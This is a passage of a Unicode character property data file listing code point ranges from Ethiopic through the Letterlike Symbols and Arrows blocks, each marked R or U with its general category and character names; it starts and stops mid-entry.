HANGUL CHOSEONG KIYEOK..HANGUL JONGSEONG SSANGNIEUN -1200..1248 ; R # Lo [73] ETHIOPIC SYLLABLE HA..ETHIOPIC SYLLABLE QWA -124A..124D ; R # Lo [4] ETHIOPIC SYLLABLE QWI..ETHIOPIC SYLLABLE QWE -1250..1256 ; R # Lo [7] ETHIOPIC SYLLABLE QHA..ETHIOPIC SYLLABLE QHO -1258 ; R # Lo ETHIOPIC SYLLABLE QHWA -125A..125D ; R # Lo [4] ETHIOPIC SYLLABLE QHWI..ETHIOPIC SYLLABLE QHWE -1260..1288 ; R # Lo [41] ETHIOPIC SYLLABLE BA..ETHIOPIC SYLLABLE XWA -128A..128D ; R # Lo [4] ETHIOPIC SYLLABLE XWI..ETHIOPIC SYLLABLE XWE -1290..12B0 ; R # Lo [33] ETHIOPIC SYLLABLE NA..ETHIOPIC SYLLABLE KWA -12B2..12B5 ; R # Lo [4] ETHIOPIC SYLLABLE KWI..ETHIOPIC SYLLABLE KWE -12B8..12BE ; R # Lo [7] ETHIOPIC SYLLABLE KXA..ETHIOPIC SYLLABLE KXO -12C0 ; R # Lo ETHIOPIC SYLLABLE KXWA -12C2..12C5 ; R # Lo [4] ETHIOPIC SYLLABLE KXWI..ETHIOPIC SYLLABLE KXWE -12C8..12D6 ; R # Lo [15] ETHIOPIC SYLLABLE WA..ETHIOPIC SYLLABLE PHARYNGEAL O -12D8..1310 ; R # Lo [57] ETHIOPIC SYLLABLE ZA..ETHIOPIC SYLLABLE GWA -1312..1315 ; R # Lo [4] ETHIOPIC SYLLABLE GWI..ETHIOPIC SYLLABLE GWE -1318..135A ; R # Lo [67] ETHIOPIC SYLLABLE GGA..ETHIOPIC SYLLABLE FYA -135D..135F ; R # Mn [3] ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK..ETHIOPIC COMBINING GEMINATION MARK -1360..1368 ; R # Po [9] ETHIOPIC SECTION MARK..ETHIOPIC PARAGRAPH SEPARATOR -1369..137C ; R # No [20] ETHIOPIC DIGIT ONE..ETHIOPIC NUMBER TEN THOUSAND -1380..138F ; R # Lo [16] ETHIOPIC SYLLABLE SEBATBEIT MWA..ETHIOPIC SYLLABLE PWE -1390..1399 ; R # So [10] ETHIOPIC TONAL MARK YIZET..ETHIOPIC TONAL MARK KURT -13A0..13F5 ; R # Lu [86] CHEROKEE LETTER A..CHEROKEE LETTER MV -13F8..13FD ; R # Ll [6] CHEROKEE SMALL LETTER YE..CHEROKEE SMALL LETTER MV -1400 ; R # Pd CANADIAN SYLLABICS HYPHEN -1401..166C ; U # Lo [620] CANADIAN SYLLABICS E..CANADIAN SYLLABICS CARRIER TTSA -166D..166E ; U # Po [2] CANADIAN SYLLABICS CHI SIGN..CANADIAN SYLLABICS FULL STOP -166F..167F ; U # Lo [17] CANADIAN SYLLABICS QAI..CANADIAN SYLLABICS BLACKFOOT W -1680 ; R # Zs OGHAM SPACE MARK -1681..169A ; R # Lo [26] OGHAM LETTER BEITH..OGHAM LETTER PEITH -169B ; R # Ps OGHAM FEATHER MARK -169C ; R # Pe OGHAM REVERSED FEATHER MARK -16A0..16EA ; R # Lo [75] RUNIC LETTER FEHU FEOH FE F..RUNIC LETTER X -16EB..16ED ; R # Po [3] RUNIC SINGLE PUNCTUATION..RUNIC CROSS PUNCTUATION -16EE..16F0 ; R # Nl [3] RUNIC ARLAUG SYMBOL..RUNIC BELGTHOR SYMBOL -16F1..16F8 ; R # Lo [8] RUNIC LETTER K..RUNIC LETTER FRANKS CASKET AESC -1700..170C ; R # Lo [13] TAGALOG LETTER A..TAGALOG LETTER YA -170E..1711 ; R # Lo [4] TAGALOG LETTER LA..TAGALOG LETTER HA -1712..1714 ; R # Mn [3] TAGALOG VOWEL SIGN I..TAGALOG SIGN VIRAMA -1720..1731 ; R # Lo [18] HANUNOO LETTER A..HANUNOO LETTER HA -1732..1734 ; R # Mn [3] HANUNOO VOWEL SIGN I..HANUNOO SIGN PAMUDPOD -1735..1736 ; R # Po [2] PHILIPPINE SINGLE PUNCTUATION..PHILIPPINE DOUBLE PUNCTUATION -1740..1751 ; R # Lo [18] BUHID LETTER A..BUHID LETTER HA -1752..1753 ; R # Mn [2] BUHID VOWEL SIGN I..BUHID VOWEL SIGN U -1760..176C ; R # Lo [13] TAGBANWA LETTER A..TAGBANWA LETTER YA -176E..1770 ; R # Lo [3] TAGBANWA LETTER LA..TAGBANWA LETTER SA -1772..1773 ; R # Mn [2] TAGBANWA VOWEL SIGN I..TAGBANWA VOWEL SIGN U -1780..17B3 ; R # Lo [52] KHMER LETTER KA..KHMER INDEPENDENT VOWEL QAU -17B4..17B5 ; R # Mn [2] KHMER VOWEL INHERENT AQ..KHMER VOWEL INHERENT AA -17B6 ; R # Mc KHMER VOWEL SIGN AA -17B7..17BD ; R # Mn [7] KHMER VOWEL SIGN I..KHMER VOWEL SIGN UA -17BE..17C5 ; R # Mc [8] KHMER VOWEL SIGN OE..KHMER VOWEL SIGN AU -17C6 ; R # Mn KHMER SIGN NIKAHIT -17C7..17C8 ; R # Mc [2] KHMER SIGN REAHMUK..KHMER SIGN YUUKALEAPINTU -17C9..17D3 ; R # Mn [11] KHMER SIGN MUUSIKATOAN..KHMER SIGN BATHAMASAT -17D4..17D6 ; R # Po [3] KHMER SIGN KHAN..KHMER SIGN CAMNUC PII KUUH -17D7 ; R # Lm KHMER SIGN LEK TOO -17D8..17DA ; R # Po [3] KHMER SIGN BEYYAL..KHMER SIGN KOOMUUT -17DB ; R # Sc KHMER CURRENCY SYMBOL RIEL -17DC ; R # Lo KHMER SIGN AVAKRAHASANYA -17DD ; R # Mn KHMER SIGN ATTHACAN -17E0..17E9 ; R # Nd [10] KHMER DIGIT ZERO..KHMER DIGIT NINE -17F0..17F9 ; R # No [10] KHMER SYMBOL LEK ATTAK SON..KHMER SYMBOL LEK ATTAK PRAM-BUON -1800..1805 ; R # Po [6] MONGOLIAN BIRGA..MONGOLIAN FOUR DOTS -1806 ; R # Pd MONGOLIAN TODO SOFT HYPHEN -1807..180A ; R # Po [4] MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER..MONGOLIAN NIRUGU -180B..180D ; R # Mn [3] MONGOLIAN FREE VARIATION SELECTOR ONE..MONGOLIAN FREE VARIATION SELECTOR THREE -180E ; R # Cf MONGOLIAN VOWEL SEPARATOR -1810..1819 ; R # Nd [10] MONGOLIAN DIGIT ZERO..MONGOLIAN DIGIT NINE -1820..1842 ; R # Lo [35] MONGOLIAN LETTER A..MONGOLIAN LETTER CHI -1843 ; R # Lm MONGOLIAN LETTER TODO LONG VOWEL SIGN -1844..1877 ; R # Lo [52] MONGOLIAN LETTER TODO E..MONGOLIAN LETTER MANCHU ZHA -1880..1884 ; R # Lo [5] MONGOLIAN LETTER ALI GALI ANUSVARA ONE..MONGOLIAN LETTER ALI GALI INVERTED UBADAMA -1885..1886 ; R # Mn [2] MONGOLIAN LETTER ALI GALI BALUDA..MONGOLIAN LETTER ALI GALI THREE BALUDA -1887..18A8 ; R # Lo [34] MONGOLIAN LETTER ALI GALI A..MONGOLIAN LETTER MANCHU ALI GALI BHA -18A9 ; R # Mn MONGOLIAN LETTER ALI GALI DAGALGA -18AA ; R # Lo MONGOLIAN LETTER MANCHU ALI GALI LHA -18B0..18F5 ; U # Lo [70] CANADIAN SYLLABICS OY..CANADIAN SYLLABICS CARRIER DENTAL S -18F6..18FF ; U # Cn [10] .. -1900..191E ; R # Lo [31] LIMBU VOWEL-CARRIER LETTER..LIMBU LETTER TRA -1920..1922 ; R # Mn [3] LIMBU VOWEL SIGN A..LIMBU VOWEL SIGN U -1923..1926 ; R # Mc [4] LIMBU VOWEL SIGN EE..LIMBU VOWEL SIGN AU -1927..1928 ; R # Mn [2] LIMBU VOWEL SIGN E..LIMBU VOWEL SIGN O -1929..192B ; R # Mc [3] LIMBU SUBJOINED LETTER YA..LIMBU SUBJOINED LETTER WA -1930..1931 ; R # Mc [2] LIMBU SMALL LETTER KA..LIMBU SMALL LETTER NGA -1932 ; R # Mn LIMBU SMALL LETTER ANUSVARA -1933..1938 ; R # Mc [6] LIMBU SMALL LETTER TA..LIMBU SMALL LETTER LA -1939..193B ; R # Mn [3] LIMBU SIGN MUKPHRENG..LIMBU SIGN SA-I -1940 ; R # So LIMBU SIGN LOO -1944..1945 ; R # Po [2] LIMBU EXCLAMATION MARK..LIMBU QUESTION MARK -1946..194F ; R # Nd [10] LIMBU DIGIT ZERO..LIMBU DIGIT NINE -1950..196D ; R # Lo [30] TAI LE LETTER KA..TAI LE LETTER AI -1970..1974 ; R # Lo [5] TAI LE LETTER TONE-2..TAI LE LETTER TONE-6 -1980..19AB ; R # Lo [44] NEW TAI LUE LETTER HIGH QA..NEW TAI LUE LETTER LOW SUA -19B0..19C9 ; R # Lo [26] NEW TAI LUE VOWEL SIGN VOWEL SHORTENER..NEW TAI LUE TONE MARK-2 -19D0..19D9 ; R # Nd [10] NEW TAI LUE DIGIT ZERO..NEW TAI LUE DIGIT NINE -19DA ; R # No NEW TAI LUE THAM DIGIT ONE -19DE..19DF ; R # So [2] NEW TAI LUE SIGN LAE..NEW TAI LUE SIGN LAEV -19E0..19FF ; R # So [32] KHMER SYMBOL PATHAMASAT..KHMER SYMBOL DAP-PRAM ROC -1A00..1A16 ; R # Lo [23] BUGINESE LETTER KA..BUGINESE LETTER HA -1A17..1A18 ; R # Mn [2] BUGINESE VOWEL SIGN I..BUGINESE VOWEL SIGN U -1A19..1A1A ; R # Mc [2] BUGINESE VOWEL SIGN E..BUGINESE VOWEL SIGN O -1A1B ; R # Mn BUGINESE VOWEL SIGN AE -1A1E..1A1F ; R # Po [2] BUGINESE PALLAWA..BUGINESE END OF SECTION -1A20..1A54 ; R # Lo [53] TAI THAM LETTER HIGH KA..TAI THAM LETTER GREAT SA -1A55 ; R # Mc TAI THAM CONSONANT SIGN MEDIAL RA -1A56 ; R # Mn TAI THAM CONSONANT SIGN MEDIAL LA -1A57 ; R # Mc TAI THAM CONSONANT SIGN LA TANG LAI -1A58..1A5E ; R # Mn [7] TAI THAM SIGN MAI KANG LAI..TAI THAM CONSONANT SIGN SA -1A60 ; R # Mn TAI THAM SIGN SAKOT -1A61 ; R # Mc TAI THAM VOWEL SIGN A -1A62 ; R # Mn TAI THAM VOWEL SIGN MAI SAT -1A63..1A64 ; R # Mc [2] TAI THAM VOWEL SIGN AA..TAI THAM VOWEL SIGN TALL AA -1A65..1A6C ; R # Mn [8] TAI THAM VOWEL SIGN I..TAI THAM VOWEL SIGN OA BELOW -1A6D..1A72 ; R # Mc [6] TAI THAM VOWEL SIGN OY..TAI THAM VOWEL SIGN THAM AI -1A73..1A7C ; R # Mn [10] TAI THAM VOWEL SIGN OA ABOVE..TAI THAM SIGN KHUEN-LUE KARAN -1A7F ; R # Mn TAI THAM COMBINING CRYPTOGRAMMIC DOT -1A80..1A89 ; R # Nd [10] TAI THAM HORA DIGIT ZERO..TAI THAM HORA DIGIT NINE -1A90..1A99 ; R # Nd [10] TAI THAM THAM DIGIT ZERO..TAI THAM THAM DIGIT NINE -1AA0..1AA6 ; R # Po [7] TAI THAM SIGN WIANG..TAI THAM SIGN REVERSED ROTATED RANA -1AA7 ; R # Lm TAI THAM SIGN MAI YAMOK -1AA8..1AAD ; R # Po [6] TAI THAM SIGN KAAN..TAI THAM SIGN CAANG -1AB0..1ABD ; R # Mn [14] COMBINING DOUBLED CIRCUMFLEX ACCENT..COMBINING PARENTHESES BELOW -1ABE ; R # Me COMBINING PARENTHESES OVERLAY -1B00..1B03 ; R # Mn [4] BALINESE SIGN ULU RICEM..BALINESE SIGN SURANG -1B04 ; R # Mc BALINESE SIGN BISAH -1B05..1B33 ; R # Lo [47] BALINESE LETTER AKARA..BALINESE LETTER HA -1B34 ; R # Mn BALINESE SIGN REREKAN -1B35 ; R # Mc BALINESE VOWEL SIGN TEDUNG -1B36..1B3A ; R # Mn [5] BALINESE VOWEL SIGN ULU..BALINESE VOWEL SIGN RA REPA -1B3B ; R # Mc BALINESE VOWEL SIGN RA REPA TEDUNG -1B3C ; R # Mn BALINESE VOWEL SIGN LA LENGA -1B3D..1B41 ; R # Mc [5] BALINESE VOWEL SIGN LA LENGA TEDUNG..BALINESE VOWEL SIGN TALING REPA TEDUNG -1B42 ; R # Mn BALINESE VOWEL SIGN PEPET -1B43..1B44 ; R # Mc [2] BALINESE VOWEL SIGN PEPET TEDUNG..BALINESE ADEG ADEG -1B45..1B4B ; R # Lo [7] BALINESE LETTER KAF SASAK..BALINESE LETTER ASYURA SASAK -1B50..1B59 ; R # Nd [10] BALINESE DIGIT ZERO..BALINESE DIGIT NINE -1B5A..1B60 ; R # Po [7] BALINESE PANTI..BALINESE PAMENENG -1B61..1B6A ; R # So [10] BALINESE MUSICAL SYMBOL DONG..BALINESE MUSICAL SYMBOL DANG GEDE -1B6B..1B73 ; R # Mn [9] BALINESE MUSICAL SYMBOL COMBINING TEGEH..BALINESE MUSICAL SYMBOL COMBINING GONG -1B74..1B7C ; R # So [9] BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG..BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING -1B80..1B81 ; R # Mn [2] SUNDANESE SIGN PANYECEK..SUNDANESE SIGN PANGLAYAR -1B82 ; R # Mc SUNDANESE SIGN PANGWISAD -1B83..1BA0 ; R # Lo [30] SUNDANESE LETTER A..SUNDANESE LETTER HA -1BA1 ; R # Mc SUNDANESE CONSONANT SIGN PAMINGKAL -1BA2..1BA5 ; R # Mn [4] SUNDANESE CONSONANT SIGN PANYAKRA..SUNDANESE VOWEL SIGN PANYUKU -1BA6..1BA7 ; R # Mc [2] SUNDANESE VOWEL SIGN PANAELAENG..SUNDANESE VOWEL SIGN PANOLONG -1BA8..1BA9 ; R # Mn [2] SUNDANESE VOWEL SIGN PAMEPET..SUNDANESE VOWEL SIGN PANEULEUNG -1BAA ; R # Mc SUNDANESE SIGN PAMAAEH -1BAB..1BAD ; R # Mn [3] SUNDANESE SIGN VIRAMA..SUNDANESE CONSONANT SIGN PASANGAN WA -1BAE..1BAF ; R # Lo [2] SUNDANESE LETTER KHA..SUNDANESE LETTER SYA -1BB0..1BB9 ; R # Nd [10] SUNDANESE DIGIT ZERO..SUNDANESE DIGIT NINE -1BBA..1BBF ; R # Lo [6] SUNDANESE AVAGRAHA..SUNDANESE LETTER FINAL M -1BC0..1BE5 ; R # Lo [38] BATAK LETTER A..BATAK LETTER U -1BE6 ; R # Mn BATAK SIGN TOMPI -1BE7 ; R # Mc BATAK VOWEL SIGN E -1BE8..1BE9 ; R # Mn [2] BATAK VOWEL SIGN PAKPAK E..BATAK VOWEL SIGN EE -1BEA..1BEC ; R # Mc [3] BATAK VOWEL SIGN I..BATAK VOWEL SIGN O -1BED ; R # Mn BATAK VOWEL SIGN KARO O -1BEE ; R # Mc BATAK VOWEL SIGN U -1BEF..1BF1 ; R # Mn [3] BATAK VOWEL SIGN U FOR SIMALUNGUN SA..BATAK CONSONANT SIGN H -1BF2..1BF3 ; R # Mc [2] BATAK PANGOLAT..BATAK PANONGONAN -1BFC..1BFF ; R # Po [4] BATAK SYMBOL BINDU NA METEK..BATAK SYMBOL BINDU PANGOLAT -1C00..1C23 ; R # Lo [36] LEPCHA LETTER KA..LEPCHA LETTER A -1C24..1C2B ; R # Mc [8] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN UU -1C2C..1C33 ; R # Mn [8] LEPCHA VOWEL SIGN E..LEPCHA CONSONANT SIGN T -1C34..1C35 ; R # Mc [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG -1C36..1C37 ; R # Mn [2] LEPCHA SIGN RAN..LEPCHA SIGN NUKTA -1C3B..1C3F ; R # Po [5] LEPCHA PUNCTUATION TA-ROL..LEPCHA PUNCTUATION TSHOOK -1C40..1C49 ; R # Nd [10] LEPCHA DIGIT ZERO..LEPCHA DIGIT NINE -1C4D..1C4F ; R # Lo [3] LEPCHA LETTER TTA..LEPCHA LETTER DDA -1C50..1C59 ; R # Nd [10] OL CHIKI DIGIT ZERO..OL CHIKI DIGIT NINE -1C5A..1C77 ; R # Lo [30] OL CHIKI LETTER LA..OL CHIKI LETTER OH -1C78..1C7D ; R # Lm [6] OL CHIKI MU TTUDDAG..OL CHIKI AHAD -1C7E..1C7F ; R # Po [2] OL CHIKI PUNCTUATION MUCAAD..OL CHIKI PUNCTUATION DOUBLE MUCAAD -1C80..1C88 ; R # Ll [9] CYRILLIC SMALL LETTER ROUNDED VE..CYRILLIC SMALL LETTER UNBLENDED UK -1CC0..1CC7 ; R # Po [8] SUNDANESE PUNCTUATION BINDU SURYA..SUNDANESE PUNCTUATION BINDU BA SATANGA -1CD0..1CD2 ; R # Mn [3] VEDIC TONE KARSHANA..VEDIC TONE PRENKHA -1CD3 ; R # Po VEDIC SIGN NIHSHVASA -1CD4..1CE0 ; R # Mn [13] VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA -1CE1 ; R # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA -1CE2..1CE8 ; R # Mn [7] VEDIC SIGN VISARGA SVARITA..VEDIC SIGN VISARGA ANUDATTA WITH TAIL -1CE9..1CEC ; R # Lo [4] VEDIC SIGN ANUSVARA ANTARGOMUKHA..VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL -1CED ; R # Mn VEDIC SIGN TIRYAK -1CEE..1CF1 ; R # Lo [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA -1CF2..1CF3 ; R # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA -1CF4 ; R # Mn VEDIC TONE CANDRA ABOVE -1CF5..1CF6 ; R # Lo [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA -1CF7 ; R # Mc VEDIC SIGN ATIKRAMA -1CF8..1CF9 ; R # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1D00..1D2B ; R # Ll [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL -1D2C..1D6A ; R # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI -1D6B..1D77 ; R # Ll [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G -1D78 ; R # Lm MODIFIER LETTER CYRILLIC EN -1D79..1D7F ; R # Ll [7] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER UPSILON WITH STROKE -1D80..1D9A ; R # Ll [27] LATIN SMALL LETTER B WITH PALATAL HOOK..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK -1D9B..1DBF ; R # Lm [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA -1DC0..1DF9 ; R # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW -1DFB..1DFF ; R # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW -1E00..1EFF ; R # L& [256] LATIN CAPITAL LETTER A WITH RING BELOW..LATIN SMALL LETTER Y WITH LOOP -1F00..1F15 ; R # L& [22] GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA -1F18..1F1D ; R # Lu [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA -1F20..1F45 ; R # L& [38] GREEK SMALL LETTER ETA WITH PSILI..GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA -1F48..1F4D ; R # Lu [6] GREEK CAPITAL LETTER OMICRON WITH PSILI..GREEK CAPITAL LETTER OMICRON WITH DASIA AND OXIA -1F50..1F57 ; R # Ll [8] GREEK SMALL LETTER UPSILON WITH PSILI..GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI -1F59 ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA -1F5B ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA AND VARIA -1F5D ; R # Lu GREEK CAPITAL LETTER UPSILON WITH DASIA AND OXIA -1F5F..1F7D ; R # L& [31] GREEK CAPITAL LETTER UPSILON WITH DASIA AND PERISPOMENI..GREEK SMALL LETTER OMEGA WITH OXIA -1F80..1FB4 ; R # L& [53] GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI..GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI -1FB6..1FBC ; R # L& [7] GREEK SMALL LETTER ALPHA WITH PERISPOMENI..GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI -1FBD ; R # Sk GREEK KORONIS -1FBE ; R # Ll GREEK PROSGEGRAMMENI -1FBF..1FC1 ; R # Sk [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI -1FC2..1FC4 ; R # Ll [3] GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI -1FC6..1FCC ; R # L& [7] GREEK SMALL LETTER ETA WITH PERISPOMENI..GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI -1FCD..1FCF ; R # Sk [3] GREEK PSILI AND VARIA..GREEK PSILI AND PERISPOMENI -1FD0..1FD3 ; R # Ll [4] GREEK SMALL LETTER IOTA WITH VRACHY..GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA -1FD6..1FDB ; R # L& [6] GREEK SMALL LETTER IOTA WITH PERISPOMENI..GREEK CAPITAL LETTER IOTA WITH OXIA -1FDD..1FDF ; R # Sk [3] GREEK DASIA AND VARIA..GREEK DASIA AND PERISPOMENI -1FE0..1FEC ; R # L& [13] GREEK SMALL LETTER UPSILON WITH VRACHY..GREEK CAPITAL LETTER RHO WITH DASIA -1FED..1FEF ; R # Sk [3] GREEK DIALYTIKA AND VARIA..GREEK VARIA -1FF2..1FF4 ; R # Ll [3] GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI..GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI -1FF6..1FFC ; R # L& [7] GREEK SMALL LETTER OMEGA WITH PERISPOMENI..GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI -1FFD..1FFE ; R # Sk [2] GREEK OXIA..GREEK DASIA -2000..200A ; R # Zs [11] EN QUAD..HAIR SPACE -200B..200F ; R # Cf [5] ZERO WIDTH SPACE..RIGHT-TO-LEFT MARK -2010..2015 ; R # Pd [6] HYPHEN..HORIZONTAL BAR -2016 ; U # Po DOUBLE VERTICAL LINE -2017 ; R # Po DOUBLE LOW LINE -2018 ; R # Pi LEFT SINGLE QUOTATION MARK -2019 ; R # Pf RIGHT SINGLE QUOTATION MARK -201A ; R # Ps SINGLE LOW-9 QUOTATION MARK -201B..201C ; R # Pi [2] SINGLE HIGH-REVERSED-9 QUOTATION MARK..LEFT DOUBLE QUOTATION MARK -201D ; R # Pf RIGHT DOUBLE QUOTATION MARK -201E ; R # Ps DOUBLE LOW-9 QUOTATION MARK -201F ; R # Pi DOUBLE HIGH-REVERSED-9 QUOTATION MARK -2020..2021 ; U # Po [2] DAGGER..DOUBLE DAGGER -2022..2027 ; R # Po [6] BULLET..HYPHENATION POINT -2028 ; R # Zl LINE SEPARATOR -2029 ; R # Zp PARAGRAPH SEPARATOR -202A..202E ; R # Cf [5] LEFT-TO-RIGHT EMBEDDING..RIGHT-TO-LEFT OVERRIDE -202F ; R # Zs NARROW NO-BREAK SPACE -2030..2031 ; U # Po [2] PER MILLE SIGN..PER TEN THOUSAND SIGN -2032..2038 ; R # Po [7] PRIME..CARET -2039 ; R # Pi SINGLE LEFT-POINTING ANGLE QUOTATION MARK -203A ; R # Pf SINGLE RIGHT-POINTING ANGLE QUOTATION MARK -203B..203C ; U # Po [2] REFERENCE MARK..DOUBLE EXCLAMATION MARK -203D..203E ; R # Po [2] INTERROBANG..OVERLINE -203F..2040 ; R # Pc [2] UNDERTIE..CHARACTER TIE -2041 ; R # Po CARET INSERTION POINT -2042 ; U # Po ASTERISM -2043 ; R # Po HYPHEN BULLET -2044 ; R # Sm FRACTION SLASH -2045 ; R # Ps LEFT SQUARE BRACKET WITH QUILL -2046 ; R # Pe RIGHT SQUARE BRACKET WITH QUILL -2047..2049 ; U # Po [3] DOUBLE QUESTION MARK..EXCLAMATION QUESTION MARK -204A..2050 ; R # Po [7] TIRONIAN SIGN ET..CLOSE UP -2051 ; U # Po TWO ASTERISKS ALIGNED VERTICALLY -2052 ; R # Sm COMMERCIAL MINUS SIGN -2053 ; R # Po SWUNG DASH -2054 ; R # Pc INVERTED UNDERTIE -2055..205E ; R # Po [10] FLOWER PUNCTUATION MARK..VERTICAL FOUR DOTS -205F ; R # Zs MEDIUM MATHEMATICAL SPACE -2060..2064 ; R # Cf [5] WORD JOINER..INVISIBLE PLUS -2065 ; U # Cn -2066..206F ; R # Cf [10] LEFT-TO-RIGHT ISOLATE..NOMINAL DIGIT SHAPES -2070 ; R # No SUPERSCRIPT ZERO -2071 ; R # Lm SUPERSCRIPT LATIN SMALL LETTER I -2074..2079 ; R # No [6] SUPERSCRIPT FOUR..SUPERSCRIPT NINE -207A..207C ; R # Sm [3] SUPERSCRIPT PLUS SIGN..SUPERSCRIPT EQUALS SIGN -207D ; R # Ps SUPERSCRIPT LEFT PARENTHESIS -207E ; R # Pe SUPERSCRIPT RIGHT PARENTHESIS -207F ; R # Lm SUPERSCRIPT LATIN SMALL LETTER N -2080..2089 ; R # No [10] SUBSCRIPT ZERO..SUBSCRIPT NINE -208A..208C ; R # Sm [3] SUBSCRIPT PLUS SIGN..SUBSCRIPT EQUALS SIGN -208D ; R # Ps SUBSCRIPT LEFT PARENTHESIS -208E ; R # Pe SUBSCRIPT RIGHT PARENTHESIS -2090..209C ; R # Lm [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T -20A0..20BF ; R # Sc [32] EURO-CURRENCY SIGN..BITCOIN SIGN -20D0..20DC ; R # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE -20DD..20E0 ; U # Me [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH -20E1 ; R # Mn COMBINING LEFT RIGHT ARROW ABOVE -20E2..20E4 ; U # Me [3] COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING UPWARD POINTING TRIANGLE -20E5..20F0 ; R # Mn [12] COMBINING REVERSE SOLIDUS OVERLAY..COMBINING ASTERISK ABOVE -2100..2101 ; U # So [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT -2102 ; R # Lu DOUBLE-STRUCK CAPITAL C -2103..2106 ; U # So [4] DEGREE CELSIUS..CADA UNA -2107 ; U # Lu EULER CONSTANT -2108..2109 ; U # So [2] SCRUPLE..DEGREE FAHRENHEIT -210A..210E ; R # L& [5] SCRIPT SMALL G..PLANCK CONSTANT -210F ; U # Ll PLANCK CONSTANT OVER TWO PI -2110..2112 ; R # Lu [3] SCRIPT CAPITAL I..SCRIPT CAPITAL L -2113 ; U # Ll SCRIPT SMALL L -2114 ; U # So L B BAR SYMBOL -2115 ; R # Lu DOUBLE-STRUCK CAPITAL N -2116..2117 ; U # So [2] NUMERO SIGN..SOUND RECORDING COPYRIGHT -2118 ; R # Sm SCRIPT CAPITAL P -2119..211D ; R # Lu [5] DOUBLE-STRUCK CAPITAL P..DOUBLE-STRUCK CAPITAL R -211E..2123 ; U # So [6] PRESCRIPTION TAKE..VERSICLE -2124 ; R # Lu DOUBLE-STRUCK CAPITAL Z -2125 ; U # So OUNCE SIGN -2126 ; R # Lu OHM SIGN -2127 ; U # So INVERTED OHM SIGN -2128 ; R # Lu BLACK-LETTER CAPITAL Z -2129 ; U # So TURNED GREEK SMALL LETTER IOTA -212A..212D ; R # Lu [4] KELVIN SIGN..BLACK-LETTER CAPITAL C -212E ; U # So ESTIMATED SYMBOL -212F..2134 ; R # L& [6] SCRIPT SMALL E..SCRIPT SMALL O -2135..2138 ; U # Lo [4] ALEF SYMBOL..DALET SYMBOL -2139 ; U # Ll INFORMATION SOURCE -213A..213B ; U # So [2] ROTATED CAPITAL Q..FACSIMILE SIGN -213C..213F ; U # L& [4] DOUBLE-STRUCK SMALL PI..DOUBLE-STRUCK CAPITAL PI -2140..2144 ; R # Sm [5] DOUBLE-STRUCK N-ARY SUMMATION..TURNED SANS-SERIF CAPITAL Y -2145..2149 ; U # L& [5] DOUBLE-STRUCK ITALIC CAPITAL D..DOUBLE-STRUCK ITALIC SMALL J -214A ; U # So PROPERTY LINE -214B ; R # Sm TURNED AMPERSAND -214C..214D ; U # So [2] PER SIGN..AKTIESELSKAB -214E ; R # Ll TURNED SMALL F -214F ; U # So SYMBOL FOR SAMARITAN SOURCE -2150..215F ; U # No [16] VULGAR FRACTION ONE SEVENTH..FRACTION NUMERATOR ONE -2160..2182 ; U # Nl [35] ROMAN NUMERAL ONE..ROMAN NUMERAL TEN THOUSAND -2183..2184 ; U # L& [2] ROMAN NUMERAL REVERSED ONE HUNDRED..LATIN SMALL LETTER REVERSED C -2185..2188 ; U # Nl [4] ROMAN NUMERAL SIX LATE FORM..ROMAN NUMERAL ONE HUNDRED THOUSAND -2189 ; U # No VULGAR FRACTION ZERO THIRDS -218A..218B ; R # So [2] TURNED DIGIT TWO..TURNED DIGIT THREE -218C..218F ; U # Cn [4] .. -2190..2194 ; R # Sm [5] 